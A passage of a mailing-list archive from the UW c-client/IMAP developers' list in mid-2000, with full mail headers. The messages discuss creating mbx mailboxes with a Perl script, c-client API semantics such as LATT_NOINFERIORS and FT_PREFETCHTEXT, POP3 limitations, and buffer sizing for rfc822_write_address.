can... cheers, ben From pinedev@shivax2.cac.washington.edu Fri Jul 28 10:55:40 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 10:55:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA21041 for ; Fri, 28 Jul 2000 10:55:38 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA09610; Fri, 28 Jul 2000 10:55:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA06959; Fri, 28 Jul 2000 10:54:02 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA44186 for ; Fri, 28 Jul 2000 10:53:04 -0700 Received: from twinlark.arctic.org (twinlark.arctic.org [204.107.140.52]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id KAA22217 for ; Fri, 28 Jul 2000 10:53:03 -0700 Received: (qmail 17155 invoked by uid 1298); 28 Jul 2000 17:53:03 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 28 Jul 2000 17:53:03 -0000 Message-Id: Date: Fri, 28 Jul 2000 10:53:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jauder Ho To: Ricardo Stella Cc: c-client@u.washington.edu Subject: Re: creating mbx In-Reply-To: <3981C4C1.8817B177@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jauderho@twinlark.arctic.org X-There-Is-No-Hidden-Message-In-This-Email: There are no tyops either X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Don't remember. Look at my patches, http://www.carumba.com/talk/imap/ I need to get around to updating them at some point but they should provide at least a good starting point. --Jauder On Fri, 28 Jul 2000, Ricardo Stella wrote: > > Now that I think about it... Don't you need EMPTYPROTO=mbx ??? > > Jauder Ho wrote: > > > > Here's a script I wrote to create an empty mbx file. > > > > #!/usr/bin/perl > > # > > # creatmbx > > # > > # The perl way to creating a mbx format mailbox. > > # > > # Double check output by using od on file. > > > > # Vars grokked from reading source files. > > my $NUSERFLAGS = "30"; > > my $HDRSIZE = "2048"; > > my $string; > > > > # Check args > > die "ERROR: creatmbx \n" unless ($#ARGV == 0); > > > > # Ported from imap/src/osdep/unix/mbx.c > > open(FILE,"> $ARGV[0]"); > > $string = sprintf ("*mbx*\015\012%08lx00000000\015\012", time); > > > > for ($i = 0; $i < $NUSERFLAGS; ++$i) { > > $string .= sprintf "\015\012"; > > } > > > > # Pad the rest of the file with nulls as expected > > $string = unpack("a${HDRSIZE}", pack("a${HDRSIZE}","$string")); > > > > print FILE $string; > > close(FILE); > > > > # The End. > > -- > ------------------------------------------------------------------ > Ricardo Stella O.I.T. > (609)896-5000 x7436 _suAve_ Rider University > *** Remove 'no-spam' from e-mail address before replying. *** From pinedev@shivax2.cac.washington.edu Fri Jul 28 11:12:40 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 11:12:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA16438 for ; Fri, 28 Jul 2000 11:12:39 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA20088; Fri, 28 Jul 2000 11:12:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA24598; Fri, 28 Jul 2000 11:10:37 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA107102 for ; Fri, 28 Jul 2000 11:09:59 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA25341 for ; Fri, 28 Jul 2000 11:09:58 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id OAA12252; Fri, 28 Jul 2000 14:09:55 -0400 (EDT) Message-Id: <3981CC77.D6CA4AD3@rider.edu> Date: Fri, 28 Jul 2000 14:09:59 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: Jauder Ho Cc: c-client@u.washington.edu Subject: Re: creating mbx References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------FF9EFC7610C40B1D0B6D063B" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------FF9EFC7610C40B1D0B6D063B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Thanks... If found the 'hide the .' patch. It looks like Mark added code for this already in the 2K version, but it's nowhere documented. Apparently you can set HIDEDOTFILES somewhere... Same case for moving the imap folder from $HOME to whatever (though that is documented but does not seem to work under Solaris 2.6 - I posted that before). R. Jauder Ho wrote: > > Don't remember. Look at my patches, http://www.carumba.com/talk/imap/ I > need to get around to updating them at some point but they should provide > at least a good starting point. > > --Jauder > > On Fri, 28 Jul 2000, Ricardo Stella wrote: > > > > > Now that I think about it... Don't you need EMPTYPROTO=mbx ??? > > > > Jauder Ho wrote: > > > > > > Here's a script I wrote to create an empty mbx file. > > > > > > #!/usr/bin/perl > > > # > > > # creatmbx > > > # > > > # The perl way to creating a mbx format mailbox. > > > # > > > # Double check output by using od on file. > > > > > > # Vars grokked from reading source files. > > > my $NUSERFLAGS = "30"; > > > my $HDRSIZE = "2048"; > > > my $string; > > > > > > # Check args > > > die "ERROR: creatmbx \n" unless ($#ARGV == 0); > > > > > > # Ported from imap/src/osdep/unix/mbx.c > > > open(FILE,"> $ARGV[0]"); > > > $string = sprintf ("*mbx*\015\012%08lx00000000\015\012", time); > > > > > > for ($i = 0; $i < $NUSERFLAGS; ++$i) { > > > $string .= sprintf "\015\012"; > > > } > > > > > > # Pad the rest of the file with nulls as expected > > > $string = unpack("a${HDRSIZE}", pack("a${HDRSIZE}","$string")); > > > > > > print FILE $string; > > > close(FILE); > > > > > > # The End. > > > > -- > > ------------------------------------------------------------------ > > Ricardo Stella O.I.T. > > (609)896-5000 x7436 _suAve_ Rider University > > *** Remove 'no-spam' from e-mail address before replying. *** -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** Remove 'no-spam' from e-mail address before replying. *** --------------FF9EFC7610C40B1D0B6D063B Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------FF9EFC7610C40B1D0B6D063B-- From pinedev@shivax2.cac.washington.edu Mon Jul 31 04:37:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jul 2000 04:37:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA17278 for ; Mon, 31 Jul 2000 04:37:29 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA24672; Mon, 31 Jul 2000 04:37:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA25424; Mon, 31 Jul 2000 04:36:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA146390 for ; Mon, 31 Jul 2000 04:33:31 -0700 Received: from smaug.netropolis.dk (IDENT:root@smaug-if0.netropolis.dk [129.142.224.3]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA19640 for ; Mon, 31 Jul 2000 04:33:30 -0700 Received: from netropolis.dk (IDENT:jonasn@[212.130.21.251]) by smaug.netropolis.dk (8.10.0/8.10.0) with ESMTP id e6VBbPp10744 for ; Mon, 31 Jul 2000 13:37:25 +0200 Message-Id: <3985653D.B1BDA24E@netropolis.dk> Date: Mon, 31 Jul 2000 13:38:37 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jonas Nielsen To: c-client@u.washington.edu Subject: rfc822_write_address MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jonasn@smaug.netropolis.dk X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi rfc822_write_address takes a pointer to a buffer and an address structure containing the addresses, and return the text string in the buffer. It doesn't allocate the memory for the buffer, so one need to malloc. How do one know how much memory to allocate ? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 31 22:26:40 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jul 2000 22:26:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA09424 for ; Mon, 31 Jul 2000 22:26:34 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA09596; Mon, 31 Jul 2000 22:26:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA15693; Mon, 31 Jul 2000 22:26:01 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA124302 for ; Mon, 31 Jul 2000 22:24:59 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA22440 for ; Mon, 31 Jul 2000 22:24:59 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA09552; Mon, 31 Jul 2000 22:24:55 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id WAA11016; Mon, 31 Jul 2000 22:24:55 -0700 Message-Id: Date: Mon, 31 Jul 2000 22:22:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: LATT_NOINFERIORS never set for the news groups in mm_list In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 21 Jul 2000 18:19:48 +0200 (CEST), Vadim Zeitlin wrote: > it seems that cclient never sets this flag for the newsgroups > at all (it does set LATT_NOSELECT) which can be seen just by > running mtest and doing "f {news/nttp}...whatever...%". This is correct. You have misunderstood the meaning of LATT_NOINFERIORS. LATT_NOINFERIORS means that the newsgroup can not have inferiors; not that the newsgroup does not have any inferiors. Note the difference between "can not" and "does not". Since an inferior can be added to a newsgroup at any time, LATT_NOINFERIORS is never set for any newsgroup. A different facility, the CHILD facility, would indicate the presence or absence of inferiors. This is not yet implemented in c-client, but will in a future version. From pinedev@shivax2.cac.washington.edu Mon Jul 31 22:35:49 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jul 2000 22:35:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA08548 for ; Mon, 31 Jul 2000 22:35:44 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA09736; Mon, 31 Jul 2000 22:35:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA28951; Mon, 31 Jul 2000 22:35:13 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA73112 for ; Mon, 31 Jul 2000 22:31:17 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA23013 for ; Mon, 31 Jul 2000 22:31:16 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA27485; Mon, 31 Jul 2000 22:31:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id WAA10711; Mon, 31 Jul 2000 22:31:14 -0700 Message-Id: Date: Mon, 31 Jul 2000 22:29:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Hollis Blanchard Cc: c-client@u.washington.edu Subject: re: POP3 and mail_search_full for unseen msgs In-Reply-To: <397A7724.F0515CD0@amulet.co.jp> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 23 Jul 2000 13:40:04 +0900, Hollis Blanchard wrote: > I'm using imap-2000 RC3. I'm calling mail_search_full with search.unseen > = 1 (and everything else zeroed). This works great for local mailboxes > ("mbox" is the proper term?), but when I try it on a POP3 server > mm_searched gets called for *every* message, starting at #1. > I'm sure this is either a "limitation in the POP3 protocol" ;) or a > programmer error. If the former, is there a workaround? This is a limitation of the POP3 protocol. "Seen" vs. "unseen" status is something that does not exist in POP3 in any way. The only way to do what you want would be to remember UIDs from the previous POP3 session and use the optional POP3 UIDL command (which isn't supported by the c-client POP3 client code, because POP3 UIDs are not well behaved like IMAP UIDs). From pinedev@shivax2.cac.washington.edu Mon Jul 31 22:54:21 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jul 2000 22:54:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA28318 for ; Mon, 31 Jul 2000 22:54:19 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA20298; Mon, 31 Jul 2000 22:54:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA02260; Mon, 31 Jul 2000 22:53:48 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA100270 for ; Mon, 31 Jul 2000 22:53:17 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA23124 for ; Mon, 31 Jul 2000 22:53:16 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA28202; Mon, 31 Jul 2000 22:53:16 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tbl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id WAA12087; Mon, 31 Jul 2000 22:53:16 -0700 Message-Id: Date: Mon, 31 Jul 2000 22:52:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Hollis Blanchard Cc: c-client@u.washington.edu Subject: re: Cyrus IMAP & c-client-2000 problem? In-Reply-To: <397D3436.156D9014@amulet.co.jp> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 Jul 2000 15:31:18 +0900, Hollis Blanchard wrote: > ** Lock when already locked This indicates a bug in your application. c-client is not re-entrant; consequently you can not call c-client functions from a c-client callback. >From what I saw in your log, the culprit seems to be that your mm_searched() function is calling some mail_????() function. From pinedev@shivax2.cac.washington.edu Mon Jul 31 23:34:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jul 2000 23:34:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA20833 for ; Mon, 31 Jul 2000 23:34:46 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA10697; Mon, 31 Jul 2000 23:34:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA03415; Mon, 31 Jul 2000 23:34:18 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA34732 for ; Mon, 31 Jul 2000 23:33:44 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA28624 for ; Mon, 31 Jul 2000 23:33:43 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA11611; Mon, 31 Jul 2000 23:33:43 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dchap@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id XAA13410; Mon, 31 Jul 2000 23:33:43 -0700 Message-Id: Date: Mon, 31 Jul 2000 23:30:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jonas Nielsen Cc: c-client@u.washington.edu Subject: re: rfc822_write_address In-Reply-To: <3985653D.B1BDA24E@netropolis.dk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 31 Jul 2000 13:38:37 +0200, Jonas Nielsen wrote: > rfc822_write_address takes a pointer to a buffer and an address > structure containing the addresses, and return the text string in the > buffer. > > It doesn't allocate the memory for the buffer, so one need to malloc. > How do one know how much memory to allocate ? Either you allocate "more than enough" in advance, or you use some routine other than rfc822_write_address(). rfc822_write_address() is only used by rfc822_header(), which is simply a demonstration/default function to use in outgoing SMTP to show you what you need to do. Most advanced applications supply their own routine that they use instead of rfc822_header(), since rfc822_header() and rfc822_write_address() are not flexible and are not save from buffer overflows. From pinedev@shivax2.cac.washington.edu Tue Aug 1 00:00:16 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 00:00:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA11420 for ; Tue, 1 Aug 2000 00:00:15 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA11077; Tue, 1 Aug 2000 00:00:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA03883; Mon, 31 Jul 2000 23:59:44 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA82068 for ; Mon, 31 Jul 2000 23:59:16 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA23356 for ; Mon, 31 Jul 2000 23:59:16 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA30062; Mon, 31 Jul 2000 23:59:15 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (hatk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id XAA13599; Mon, 31 Jul 2000 23:59:15 -0700 Message-Id: Date: Mon, 31 Jul 2000 23:57:53 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jani Taskinen Cc: c-client@u.washington.edu Subject: re: mail_fetch_header() ignores FT_PREFETCHTEXT flag? No body text returned. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 28 Jul 2000 02:09:25 +0300 (EEST), Jani Taskinen wrote: > It seems that even if FT_PREFETCHTEXT flag is passed, > mail_fetchheader_full() doesn't return anything but the headers of an > email without the body. Or have I misunderstood the use of FT_PREFETCHTEXT? You, you have misunderstood FT_PREFETCHTEXT. It only precaches the text, so that a subsequent mail_fetch_text() won't require any network traffic. However, you must always do mail_fetch_text(). mail_fetch_header() never returns text. From pinedev@shivax2.cac.washington.edu Tue Aug 1 11:38:15 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 11:38:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA27305 for ; Tue, 1 Aug 2000 11:38:13 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA27546; Tue, 1 Aug 2000 11:38:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA04314; Tue, 1 Aug 2000 11:37:28 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA39570 for ; Tue, 1 Aug 2000 11:35:56 -0700 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA32418 for ; Tue, 1 Aug 2000 11:35:50 -0700 Received: from speedy.swi.com.br (chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.3/8.9.3) with ESMTP id PAA08668 for ; Tue, 1 Aug 2000 15:38:31 -0300 Message-Id: <200008011838.PAA08668@stratus.swi.com.br> Date: Tue, 1 Aug 2000 15:38:31 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: old imap-utils package Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I "lost" my old imap-utils package and I got the latest one from the ftp site. However, the latest one is directed for imap2000 (which I don't use yet). Is there a place where I can get the old package imap-utils that do work with imap-4.7xx? Thanks, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 1 14:25:36 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 14:25:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA26146 for ; Tue, 1 Aug 2000 14:25:34 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA00476; Tue, 1 Aug 2000 14:25:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA11933; Tue, 1 Aug 2000 14:24:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA132646 for ; Tue, 1 Aug 2000 14:24:14 -0700 Received: from localhost.localdomain ([200.236.144.129]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA06262 for ; Tue, 1 Aug 2000 14:24:12 -0700 Received: from marcova ([10.1.3.46]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id SAA12842 for ; Tue, 1 Aug 2000 18:21:28 -0300 Message-Id: <01f001bffbfc$e7186810$2e03010a@trt> Date: Tue, 1 Aug 2000 18:10:19 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marco Antonio V. Assad" To: Subject: Quota on imapd MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm new in this list and tried to find something in the c-client archive before sending this question to the list, but as I could not contact the ftp server, here we go. I'm trying to set quotas in the filesystem where my imap mailboxes are located. My /var/spool/mail and user's home directories are in the same filesystem. If I just use unix format mailboxes, everything 